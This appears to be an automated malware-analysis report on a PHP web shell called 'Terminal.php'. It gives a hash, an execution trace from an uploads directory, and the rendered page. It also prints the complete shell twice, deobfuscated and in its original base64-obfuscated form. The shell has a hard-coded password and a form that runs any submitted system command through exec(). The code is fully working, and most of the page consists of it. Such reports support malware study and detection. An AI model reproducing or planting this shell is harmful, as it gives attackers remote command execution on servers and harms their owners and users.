PHP Malware Analysis

Terminal.php

md5: 86dbe35ad51399f11a796b36280f7ab7

Jump to:

Screenshot


Attributes

Encoding

Execution

Input

Title

URLs


Deobfuscated PHP code

<?php

$o1 = "BlackPredator";
session_start();
if (isset($_POST["clear"]) and $_POST["clear"] == "clear") {
    k0();
}
if (!isset($_SESSION["persist_commands"]) or !isset($_SESSION["commands"])) {
    $_SESSION["persist_commands"] = array();
    $_SESSION["commands"] = array();
    $_SESSION["command_responses"] = array();
}
$s2 = FALSE;
$u3 = FALSE;
if (isset($_POST["persist_command_id"]) and is_numeric($_POST["persist_command_id"])) {
    $s2 = TRUE;
    $y4 = $_POST["persist_command_id"];
    if (count($_SESSION["persist_commands"]) == $y4) {
        $u3 = TRUE;
    } else {
        $_SESSION["persist_commands"][$y4] = !$_SESSION["persist_commands"][$y4];
    }
}
$r5 = '';
foreach ($_SESSION["persist_commands"] as $p6 => $x7) {
    if ($x7) {
        $v8 = $_SESSION["commands"][$p6];
        if ($v8 != '') {
            $r5 .= $v8 . "; ";
        }
    }
}
if (isset($_POST["command"])) {
    $t9 = $_POST["command"];
    if (!isset($_SESSION["logged_in"])) {
        if ($t9 == $o1) {
            $_SESSION["logged_in"] = TRUE;
            $ea = array("Welcome, " . str_replace("\n", '', `whoami`) . "!!");
        } else {
            $ea = array("Incorrect Password");
        }
        array_push($_SESSION["persist_commands"], FALSE);
        array_push($_SESSION["commands"], "Password: ");
        array_push($_SESSION["command_responses"], $ea);
    } else {
        if ($t9 != '' and !$s2) {
            if ($t9 == "logout") {
                session_unset();
                $ea = array("Successfully Logged Out");
            } elseif ($t9 == "clear") {
                k0();
            } else {
                exec($r5 . $t9 . " 2>&1", $ea, $vb);
                if ($vb > 0 and false) {
                    $ea = array("Error");
                }
            }
        } else {
            $ea = array();
        }
        if ($t9 != "logout" and $t9 != "clear") {
            if ($s2) {
                if ($u3) {
                    array_push($_SESSION["persist_commands"], TRUE);
                    array_push($_SESSION["commands"], $t9);
                    array_push($_SESSION["command_responses"], $ea);
                    if ($t9 != '') {
                        $r5 = $r5 . $t9 . "; ";
                    }
                }
            } else {
                array_push($_SESSION["persist_commands"], FALSE);
                array_push($_SESSION["commands"], $t9);
                array_push($_SESSION["command_responses"], $ea);
            }
        }
    }
}
function k0()
{
    if (isset($_SESSION["logged_in"])) {
        $rc = TRUE;
    } else {
        $rc = FALSE;
    }
    session_unset();
    if ($rc) {
        $_SESSION["logged_in"] = TRUE;
    }
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>PHP Terminal Emulator</title>
	<style type="text/css">
		* {
			margin: 0;
			padding: 0;
		}
		body {
			background-color: #000000;
			color: #00FF00;
			font-family: monospace;
			font-weight: bold;
			font-size: 12px;
			text-align: center;
		}
		input, textarea {
			color: inherit;
			font-family: inherit;
			font-size: inherit;
			font-weight: inherit;
			background-color: inherit;
			border: inherit;
		}
		.content {
			width: 80%;
			min-width: 400px;
			margin: 40px auto;
			text-align: left;
			overflow: auto;
		}
		.terminal {
			border: 1px solid #00FF00;
			height: 500px;
			position: relative;
			overflow: auto;
			padding-bottom: 20px;
		}
		.terminal .bar {
			border-bottom: 1px solid #00FF00;
			padding: 2px;
			white-space: nowrap;
			overflow: hidden;
		}
		.terminal .commands {
			padding: 2px;
			padding-right: 0;
		}
		.terminal #command {
			width: 90%;
		}
		.terminal .colorize {
			color: #0000FF;
		}
		.terminal .persist_button {
			float: right;
			border-width: 1px 0 1px 1px;
			border-style: solid;
			border-color: #00FF00;
			clear: both;
		}
	</style>
</head>
<body>
	<div class="content">
		<div class="terminal" onclick="document.getElementById('command').focus();" id="terminal">
			<div class="bar">
				<?php 
echo `whoami`, " - ", exec($r5 . "pwd");
?>
			</div>
			<form action="<?php 
echo $_SERVER["PHP_SELF"];
?>" method="post" class="commands" id="commands">
				<input type="hidden" name="persist_command_id" id="persist_command_id" />
				<?php 
if (!empty($_SESSION["commands"])) {
    ?>
				<div>
					<?php 
    foreach ($_SESSION["commands"] as $p6 => $t9) {
        ?>
					<input type="button" value="<?php 
        if ($_SESSION["persist_commands"][$p6]) {
            ?>Un-Persist<?php 
        } else {
            ?>Persist<?php 
        }
        ?>" onfocus="this.style.color='#0000FF';" onblur="this.style.color='';" onclick="toggle_persist_command(<?php 
        echo $p6;
        ?>);" class="persist_button" />
					<pre><?php 
        echo "\$ ", $t9, "\n";
        ?></pre>
					<?php 
        foreach ($_SESSION["command_responses"][$p6] as $kd) {
            ?>
					<pre><?php 
            echo htmlentities($kd), "\n";
            ?></pre>
					<?php 
        }
        ?>
					<?php 
    }
    ?>
				</div>
				<?php 
}
?>
				$ <?php 
if (!isset($_SESSION["logged_in"])) {
    ?>Password:
				<input type="password" name="command" id="command" />
				<?php 
} else {
    ?>
				<input type="text" name="command" id="command" autocomplete="off" onkeydown="return command_keyed_down(event);" />
				<input type="button" value="Persist" onfocus="this.style.color='#0000FF';" onblur="this.style.color='';" onclick="toggle_persist_command(<?php 
    if (isset($_SESSION["commands"])) {
        echo count($_SESSION["commands"]);
    } else {
        echo 0;
    }
    ?>);" class="persist_button" />
				<?php 
}
?>
			</form>
		</div>
	</div>
	<script type="text/javascript">
		
		<?php 
$qe = array();
if (!empty($_SESSION["commands"])) {
    foreach ($_SESSION["commands"] as $t9) {
        $df = str_replace("\\\\", "\\\\\\\\", $t9);
        $df = str_replace("\\'", "\\\\\\'", $t9);
        $qe[] = $df;
    }
}
?>
		
		var previous_commands = ['', '<?php 
echo implode("\\', \\'", $qe);
?>', ''];
		
		var current_command_index = previous_commands.length - 1;
		
		document.getElementById('command').select();
		
		document.getElementById('terminal').scrollTop = document.getElementById('terminal').scrollHeight;
		
		function toggle_persist_command(command_id)
		{
			document.getElementById('persist_command_id').value = command_id;
			document.getElementById('commands').submit();
		}
		
		function command_keyed_down(event)
		{
			var key_code = get_key_code(event);
			if (key_code == 38) { //Up arrow
				fill_in_previous_command();
			} else if (key_code == 40) { //Down arrow
				fill_in_next_command();
			} else if (key_code == 9) { //Tab
				
			} else if (key_code == 13) { //Enter
				if (event.shiftKey) {
					toggle_persist_command(<?php 
if (isset($_SESSION["commands"])) {
    echo count($_SESSION["commands"]);
} else {
    echo 0;
}
?>);
					return false;
				}
			}
			return true;
		}
		
		function fill_in_previous_command()
		{
			current_command_index--;
			if (current_command_index < 0) {
				current_command_index = 0;
				return;
			}
			document.getElementById('command').value = previous_commands[current_command_index];
		}
		
		function fill_in_next_command()
		{
			current_command_index++;
			if (current_command_index >= previous_commands.length) {
				current_command_index = previous_commands.length - 1;
				return;
			}
			document.getElementById('command').value = previous_commands[current_command_index];
		}
		
		function get_key_code(event)
		{
			var event_key_code = event.keyCode;
			return event_key_code;
		}
		
	</script>
	<form action="<?php 
echo $_SERVER["PHP_SELF"];
?>" method="post">
		<input type="hidden" name="clear" value="clear" />
		<input type="submit" value="Clear" onfocus="this.style.color='#0000FF';" onblur="this.style.color='';" />
	</form>
</body>
</html>

Execution traces

data/traces/86dbe35ad51399f11a796b36280f7ab7_trace-1676245389.4713.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:43:35.369156]
1	0	1	0.000303	393536
1	3	0	0.000635	444184	{main}	1		/var/www/html/uploads/Terminal.php	0	0
2	4	0	0.000656	444184	base64_decode	0		/var/www/html/uploads/Terminal.php	1	1	'QmxhY2tQcmVkYXRvcg=='
2	4	1	0.000683	444264
2	4	R			'BlackPredator'
1		A						/var/www/html/uploads/Terminal.php	1	$o1 = 'BlackPredator'
2	5	0	0.000722	444232	session_start	0		/var/www/html/uploads/Terminal.php	1	0
2	5	1	0.000784	444984
2	5	R			TRUE
2	6	0	0.000800	444984	base64_decode	0		/var/www/html/uploads/Terminal.php	1	1	'Y2xlYXI='
2	6	1	0.000814	445056
2	6	R			'clear'
2	7	0	0.000831	444984	base64_decode	0		/var/www/html/uploads/Terminal.php	1	1	'cGVyc2lzdF9jb21tYW5kcw=='
2	7	1	0.000845	445072
2	7	R			'persist_commands'
2	8	0	0.000859	444984	base64_decode	0		/var/www/html/uploads/Terminal.php	1	1	'cGVyc2lzdF9jb21tYW5kcw=='
2	8	1	0.000873	445072
2	8	R			'persist_commands'
1		A						/var/www/html/uploads/Terminal.php	1	_SESSION['persist_commands'] = []
2	9	0	0.000901	445360	base64_decode	0		/var/www/html/uploads/Terminal.php	1	1	'Y29tbWFuZHM='
2	9	1	0.000914	445432
2	9	R			'commands'
1		A						/var/www/html/uploads/Terminal.php	1	_SESSION['commands'] = []
2	10	0	0.000938	445400	base64_decode	0		/var/www/html/uploads/Terminal.php	1	1	'Y29tbWFuZF9yZXNwb25zZXM='
2	10	1	0.000952	445488
2	10	R			'command_responses'
1		A						/var/www/html/uploads/Terminal.php	1	_SESSION['command_responses'] = []
1		A						/var/www/html/uploads/Terminal.php	1	$s2 = FALSE
1		A						/var/www/html/uploads/Terminal.php	1	$u3 = FALSE
2	11	0	0.000996	445456	base64_decode	0		/var/www/html/uploads/Terminal.php	1	1	'cGVyc2lzdF9jb21tYW5kX2lk'
2	11	1	0.001011	445544
2	11	R			'persist_command_id'
1		A						/var/www/html/uploads/Terminal.php	1	$r5 = ''
2	12	0	0.001035	445456	base64_decode	0		/var/www/html/uploads/Terminal.php	1	1	'cGVyc2lzdF9jb21tYW5kcw=='
2	12	1	0.001048	445544
2	12	R			'persist_commands'
2	13	0	0.001063	445456	base64_decode	0		/var/www/html/uploads/Terminal.php	1	1	'Y29tbWFuZA=='
2	13	1	0.001075	445528
2	13	R			'command'
2	14	0	0.001093	445456	shell_exec	0		/var/www/html/uploads/Terminal.php	72	1	'whoami'
2	14	1	0.004584	445528
2	14	R			'www-data\n'
2	15	0	0.004616	445456	base64_decode	0		/var/www/html/uploads/Terminal.php	72	1	'IC0g'
2	15	1	0.004632	445520
2	15	R			' - '
2	16	0	0.004646	445456	base64_decode	0		/var/www/html/uploads/Terminal.php	72	1	'cHdk'
2	16	1	0.004660	445520
2	16	R			'pwd'
2	17	0	0.004673	445488	exec	0		/var/www/html/uploads/Terminal.php	72	1	'pwd'
2	17	1	0.005260	445568
2	17	R			'/var/www/html/uploads'
2	18	0	0.005289	445456	base64_decode	0		/var/www/html/uploads/Terminal.php	74	1	'UEhQX1NFTEY='
2	18	1	0.005304	445528
2	18	R			'PHP_SELF'
2	19	0	0.005320	445456	base64_decode	0		/var/www/html/uploads/Terminal.php	76	1	'Y29tbWFuZHM='
2	19	1	0.005338	445528
2	19	R			'commands'
2	20	0	0.005353	445456	base64_decode	0		/var/www/html/uploads/Terminal.php	87	1	'bG9nZ2VkX2lu'
2	20	1	0.005368	445528
2	20	R			'logged_in'
1		A						/var/www/html/uploads/Terminal.php	98	$qe = []
2	21	0	0.005395	445456	base64_decode	0		/var/www/html/uploads/Terminal.php	98	1	'Y29tbWFuZHM='
2	21	1	0.005409	445528
2	21	R			'commands'
2	22	0	0.005424	445456	base64_decode	0		/var/www/html/uploads/Terminal.php	100	1	'XCcsIFwn'
2	22	1	0.005438	445528
2	22	R			'\\\', \\\''
2	23	0	0.005451	445496	implode	0		/var/www/html/uploads/Terminal.php	100	2	'\\\', \\\''	[]
2	23	1	0.005464	445560
2	23	R			''
2	24	0	0.005482	445456	base64_decode	0		/var/www/html/uploads/Terminal.php	125	1	'Y29tbWFuZHM='
2	24	1	0.005498	445528
2	24	R			'commands'
2	25	0	0.005511	445456	base64_decode	0		/var/www/html/uploads/Terminal.php	125	1	'Y29tbWFuZHM='
2	25	1	0.005524	445528
2	25	R			'commands'
2	26	0	0.005547	445456	base64_decode	0		/var/www/html/uploads/Terminal.php	159	1	'UEhQX1NFTEY='
2	26	1	0.005560	445528
2	26	R			'PHP_SELF'
1	3	1	0.005575	445456
			0.005674	317632
TRACE END   [2023-02-12 21:43:35.374561]


Generated HTML code

<html xmlns="http://www.w3.org/1999/xhtml"><head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
	<title>PHP Terminal Emulator</title>
	<style type="text/css">
		* {
			margin: 0;
			padding: 0;
		}
		body {
			background-color: #000000;
			color: #00FF00;
			font-family: monospace;
			font-weight: bold;
			font-size: 12px;
			text-align: center;
		}
		input, textarea {
			color: inherit;
			font-family: inherit;
			font-size: inherit;
			font-weight: inherit;
			background-color: inherit;
			border: inherit;
		}
		.content {
			width: 80%;
			min-width: 400px;
			margin: 40px auto;
			text-align: left;
			overflow: auto;
		}
		.terminal {
			border: 1px solid #00FF00;
			height: 500px;
			position: relative;
			overflow: auto;
			padding-bottom: 20px;
		}
		.terminal .bar {
			border-bottom: 1px solid #00FF00;
			padding: 2px;
			white-space: nowrap;
			overflow: hidden;
		}
		.terminal .commands {
			padding: 2px;
			padding-right: 0;
		}
		.terminal #command {
			width: 90%;
		}
		.terminal .colorize {
			color: #0000FF;
		}
		.terminal .persist_button {
			float: right;
			border-width: 1px 0 1px 1px;
			border-style: solid;
			border-color: #00FF00;
			clear: both;
		}
	</style>
</head>
<body>
	<div class="content">
		<div class="terminal" onclick="document.getElementById('command').focus();" id="terminal">
			<div class="bar">
				www-data
 - /var/www/html			</div>
			<form action="/Terminal.php" method="post" class="commands" id="commands">
				<input type="hidden" name="persist_command_id" id="persist_command_id">
								$ Password:
				<input type="password" name="command" id="command">
							</form>
		</div>
	</div>
	<script type="text/javascript">
		
				
		var previous_commands = ['', '', ''];
		
		var current_command_index = previous_commands.length - 1;
		
		document.getElementById('command').select();
		
		document.getElementById('terminal').scrollTop = document.getElementById('terminal').scrollHeight;
		
		function toggle_persist_command(command_id)
		{
			document.getElementById('persist_command_id').value = command_id;
			document.getElementById('commands').submit();
		}
		
		function command_keyed_down(event)
		{
			var key_code = get_key_code(event);
			if (key_code == 38) { //Up arrow
				fill_in_previous_command();
			} else if (key_code == 40) { //Down arrow
				fill_in_next_command();
			} else if (key_code == 9) { //Tab
				
			} else if (key_code == 13) { //Enter
				if (event.shiftKey) {
					toggle_persist_command(0);
					return false;
				}
			}
			return true;
		}
		
		function fill_in_previous_command()
		{
			current_command_index--;
			if (current_command_index < 0) {
				current_command_index = 0;
				return;
			}
			document.getElementById('command').value = previous_commands[current_command_index];
		}
		
		function fill_in_next_command()
		{
			current_command_index++;
			if (current_command_index >= previous_commands.length) {
				current_command_index = previous_commands.length - 1;
				return;
			}
			document.getElementById('command').value = previous_commands[current_command_index];
		}
		
		function get_key_code(event)
		{
			var event_key_code = event.keyCode;
			return event_key_code;
		}
		
	</script>
	<form action="/Terminal.php" method="post">
		<input type="hidden" name="clear" value="clear">
		<input type="submit" value="Clear" onfocus="this.style.color='#0000FF';" onblur="this.style.color='';">
	</form>

</body></html>

Original PHP code

<?php $o1=base64_decode('QmxhY2tQcmVkYXRvcg==');session_start();if(isset($_POST[base64_decode('Y2xlYXI=')])AND $_POST[base64_decode('Y2xlYXI=')]==base64_decode('Y2xlYXI=')){k0();}if(!isset($_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')])OR!isset($_SESSION[base64_decode('Y29tbWFuZHM=')])){$_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')]=array();$_SESSION[base64_decode('Y29tbWFuZHM=')]=array();$_SESSION[base64_decode('Y29tbWFuZF9yZXNwb25zZXM=')]=array();}$s2=FALSE;$u3=FALSE;if(isset($_POST[base64_decode('cGVyc2lzdF9jb21tYW5kX2lk')])AND is_numeric($_POST[base64_decode('cGVyc2lzdF9jb21tYW5kX2lk')])){$s2=TRUE;$y4=$_POST[base64_decode('cGVyc2lzdF9jb21tYW5kX2lk')];if(count($_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')])==$y4){$u3=TRUE;}else{$_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')][$y4]=!$_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')][$y4];}}$r5='';foreach($_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')]as $p6=>$x7){if($x7){$v8=$_SESSION[base64_decode('Y29tbWFuZHM=')][$p6];if($v8!=''){$r5.=$v8.base64_decode('OyA=');}}}if(isset($_POST[base64_decode('Y29tbWFuZA==')])){$t9=$_POST[base64_decode('Y29tbWFuZA==')];if(!isset($_SESSION[base64_decode('bG9nZ2VkX2lu')])){if($t9==$o1){$_SESSION[base64_decode('bG9nZ2VkX2lu')]=TRUE;$ea=array(base64_decode('V2VsY29tZSwg').str_replace(base64_decode('Cg=='),'',`whoami`).base64_decode('ISE='));}else{$ea=array(base64_decode('SW5jb3JyZWN0IFBhc3N3b3Jk'));}array_push($_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')],FALSE);array_push($_SESSION[base64_decode('Y29tbWFuZHM=')],base64_decode('UGFzc3dvcmQ6IA=='));array_push($_SESSION[base64_decode('Y29tbWFuZF9yZXNwb25zZXM=')],$ea);}else{if($t9!='' AND!$s2){if($t9==base64_decode('bG9nb3V0')){session_unset();$ea=array(base64_decode('U3VjY2Vzc2Z1bGx5IExvZ2dlZCBPdXQ='));}elseif($t9==base64_decode('Y2xlYXI=')){k0();}else{exec($r5.$t9.base64_decode('IDI+JjE='),$ea,$vb);if($vb>0 AND $ea==array()){$ea=array(base64_decode('RXJyb3I='));}}}else{$ea=array();}if($t9!=base64_decode('bG9nb3V0') AND $t9!=base64_decode('Y2xlYXI=')){if($s2){if($u3){array_push($_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')],TRUE);array_push($_SESSION[base64_decode('Y29tbWFuZHM=')],$t9);array_push($_SESSION[base64_decode('Y29tbWFuZF9yZXNwb25zZXM=')],$ea);if($t9!=''){$r5=$r5.$t9.base64_decode('OyA=');}}}else{array_push($_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')],FALSE);array_push($_SESSION[base64_decode('Y29tbWFuZHM=')],$t9);array_push($_SESSION[base64_decode('Y29tbWFuZF9yZXNwb25zZXM=')],$ea);}}}}function k0(){if(isset($_SESSION[base64_decode('bG9nZ2VkX2lu')])){$rc=TRUE;}else{$rc=FALSE;}session_unset();if($rc){$_SESSION[base64_decode('bG9nZ2VkX2lu')]=TRUE;}}?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>PHP Terminal Emulator</title>
	<style type="text/css">
		* {
			margin: 0;
			padding: 0;
		}
		body {
			background-color: #000000;
			color: #00FF00;
			font-family: monospace;
			font-weight: bold;
			font-size: 12px;
			text-align: center;
		}
		input, textarea {
			color: inherit;
			font-family: inherit;
			font-size: inherit;
			font-weight: inherit;
			background-color: inherit;
			border: inherit;
		}
		.content {
			width: 80%;
			min-width: 400px;
			margin: 40px auto;
			text-align: left;
			overflow: auto;
		}
		.terminal {
			border: 1px solid #00FF00;
			height: 500px;
			position: relative;
			overflow: auto;
			padding-bottom: 20px;
		}
		.terminal .bar {
			border-bottom: 1px solid #00FF00;
			padding: 2px;
			white-space: nowrap;
			overflow: hidden;
		}
		.terminal .commands {
			padding: 2px;
			padding-right: 0;
		}
		.terminal #command {
			width: 90%;
		}
		.terminal .colorize {
			color: #0000FF;
		}
		.terminal .persist_button {
			float: right;
			border-width: 1px 0 1px 1px;
			border-style: solid;
			border-color: #00FF00;
			clear: both;
		}
	</style>
</head>
<body>
	<div class="content">
		<div class="terminal" onclick="document.getElementById('command').focus();" id="terminal">
			<div class="bar">
				<?php echo`whoami`,base64_decode('IC0g'),exec($r5.base64_decode('cHdk'));?>
			</div>
			<form action="<?php echo $_SERVER[base64_decode('UEhQX1NFTEY=')];?>" method="post" class="commands" id="commands">
				<input type="hidden" name="persist_command_id" id="persist_command_id" />
				<?php if(!empty($_SESSION[base64_decode('Y29tbWFuZHM=')])){?>
				<div>
					<?php foreach($_SESSION[base64_decode('Y29tbWFuZHM=')]as $p6=>$t9){?>
					<input type="button" value="<?php if($_SESSION[base64_decode('cGVyc2lzdF9jb21tYW5kcw==')][$p6]){?>Un-Persist<?php }else{?>Persist<?php }?>" onfocus="this.style.color='#0000FF';" onblur="this.style.color='';" onclick="toggle_persist_command(<?php echo $p6;?>);" class="persist_button" />
					<pre><?php echo base64_decode('JCA='),$t9,base64_decode('Cg==');?></pre>
					<?php foreach($_SESSION[base64_decode('Y29tbWFuZF9yZXNwb25zZXM=')][$p6]as $kd){?>
					<pre><?php echo htmlentities($kd),base64_decode('Cg==');?></pre>
					<?php }?>
					<?php }?>
				</div>
				<?php }?>
				$ <?php if(!isset($_SESSION[base64_decode('bG9nZ2VkX2lu')])){?>Password:
				<input type="password" name="command" id="command" />
				<?php }else{?>
				<input type="text" name="command" id="command" autocomplete="off" onkeydown="return command_keyed_down(event);" />
				<input type="button" value="Persist" onfocus="this.style.color='#0000FF';" onblur="this.style.color='';" onclick="toggle_persist_command(<?php if(isset($_SESSION[base64_decode('Y29tbWFuZHM=')])){echo count($_SESSION[base64_decode('Y29tbWFuZHM=')]);}else{echo 0;}?>);" class="persist_button" />
				<?php }?>
			</form>
		</div>
	</div>
	<script type="text/javascript">
		
		<?php $qe=array();if(!empty($_SESSION[base64_decode('Y29tbWFuZHM=')])){foreach($_SESSION[base64_decode('Y29tbWFuZHM=')]as $t9){$df=str_replace(base64_decode('XFw='),base64_decode('XFxcXA=='),$t9);$df=str_replace(base64_decode('XCc='),base64_decode('XFxcJw=='),$t9);$qe[]=$df;}}?>
		
		var previous_commands = ['', '<?php echo implode(base64_decode('XCcsIFwn'),$qe)?>', ''];
		
		var current_command_index = previous_commands.length - 1;
		
		document.getElementById('command').select();
		
		document.getElementById('terminal').scrollTop = document.getElementById('terminal').scrollHeight;
		
		function toggle_persist_command(command_id)
		{
			document.getElementById('persist_command_id').value = command_id;
			document.getElementById('commands').submit();
		}
		
		function command_keyed_down(event)
		{
			var key_code = get_key_code(event);
			if (key_code == 38) { //Up arrow
				fill_in_previous_command();
			} else if (key_code == 40) { //Down arrow
				fill_in_next_command();
			} else if (key_code == 9) { //Tab
				
			} else if (key_code == 13) { //Enter
				if (event.shiftKey) {
					toggle_persist_command(<?php if(isset($_SESSION[base64_decode('Y29tbWFuZHM=')])){echo count($_SESSION[base64_decode('Y29tbWFuZHM=')]);}else{echo 0;}?>);
					return false;
				}
			}
			return true;
		}
		
		function fill_in_previous_command()
		{
			current_command_index--;
			if (current_command_index < 0) {
				current_command_index = 0;
				return;
			}
			document.getElementById('command').value = previous_commands[current_command_index];
		}
		
		function fill_in_next_command()
		{
			current_command_index++;
			if (current_command_index >= previous_commands.length) {
				current_command_index = previous_commands.length - 1;
				return;
			}
			document.getElementById('command').value = previous_commands[current_command_index];
		}
		
		function get_key_code(event)
		{
			var event_key_code = event.keyCode;
			return event_key_code;
		}
		
	</script>
	<form action="<?php echo $_SERVER[base64_decode('UEhQX1NFTEY=')];?>" method="post">
		<input type="hidden" name="clear" value="clear" />
		<input type="submit" value="Clear" onfocus="this.style.color='#0000FF';" onblur="this.style.color='';" />
	</form>
</body>
</html>